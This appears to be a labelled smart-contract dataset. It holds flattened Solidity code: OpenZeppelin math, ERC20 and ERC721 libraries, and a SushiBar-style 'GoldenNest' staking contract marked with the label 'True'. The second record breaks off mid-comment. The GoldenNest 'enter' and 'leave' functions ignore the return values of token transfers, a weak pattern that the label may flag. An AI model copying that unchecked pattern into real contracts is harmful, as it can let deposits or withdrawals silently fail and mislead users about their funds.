* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/GSN/Context.sol
pragma solidity ^0.6.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/ERC20.sol
pragma solidity ^0.6.0;
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is
* called.
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IERC20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20}.
*
* Requirements:
*
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Sets {decimals} to a value other than the default one of 18.
*
* WARNING: This function should only be called from the constructor. Most
* applications that interact with token contracts will not expect
* {decimals} to ever change, and may work incorrectly if it does.
*/
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be to transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
// File: https://github.com/OpenZeppelin/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol
// File: browser/GoldenNest.sol
//SPDX-License-Identifier: MIT
pragma solidity 0.6.12;
contract GoldenNest is ERC20("GoldenNest", "AGATE"){
using SafeMath for uint256;
IERC20 public griffin;
constructor(IERC20 _griffin) public {
griffin = _griffin;
}
// Enter the bar. Pay some SUSHIs. Earn some shares.
function enter(uint256 _amount) public {
uint256 totalGriffin = griffin.balanceOf(address(this));
uint256 totalShares = totalSupply();
if (totalShares == 0 || totalGriffin == 0) {
_mint(msg.sender, _amount);
} else {
uint256 what = _amount.mul(totalShares).div(totalGriffin);
_mint(msg.sender, what);
}
griffin.transferFrom(msg.sender, address(this), _amount);
}
// Leave the bar. Claim back your SUSHIs.
function leave(uint256 _share) public {
uint256 totalShares = totalSupply();
uint256 what = _share.mul(griffin.balanceOf(address(this))).div(totalShares);
_burn(msg.sender, _share);
griffin.transfer(msg.sender, what);
}
} | True | [
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|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721 is IERC165 {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721Receiver {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Metadata is IERC721 {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
using Strings for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
return
interfaceId == type(IERC721).interfaceId ||
interfaceId == type(IERC721Metadata).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
address owner = ERC721.ownerOf(tokenId);
require(to != owner, "ERC721: approval to current owner");
require(
_msgSender() == owner || isApprovedForAll(owner, _msgSender()),
"ERC721: approve caller is not owner nor approved for all"
);
_approve(to, tokenId);
}
/**
* @dev See {IERC721-getApproved}.
*/
function getApproved(uint256 tokenId) public view virtual override returns (address) {
require(_exists(tokenId), "ERC721: approved query for nonexistent token");
return _tokenApprovals[tokenId];
}
/**
* @dev See {IERC721-setApprovalForAll}.
*/
function setApprovalForAll(address operator, bool approved) public virtual override {
require(operator != _msgSender(), "ERC721: approve to caller");
_operatorApprovals[_msgSender()][operator] = approved;
emit ApprovalForAll(_msgSender(), operator, approved);
}
/**
* @dev See {IERC721-isApprovedForAll}.
*/
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
return _operatorApprovals[owner][operator];
}
/**
* @dev See {IERC721-transferFrom}.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
//solhint-disable-next-line max-line-length
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_transfer(from, to, tokenId);
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
safeTransferFrom(from, to, tokenId, "");
}
/**
* @dev See {IERC721-safeTransferFrom}.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved");
_safeTransfer(from, to, tokenId, _data);
}
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* `_data` is additional data, it has no specified format and it is sent in call to `to`.
*
* This internal function is equivalent to {safeTransferFrom}, and can be used to e.g.
* implement alternative mechanisms to perform token transfer, such as signature-based.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_transfer(from, to, tokenId);
require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
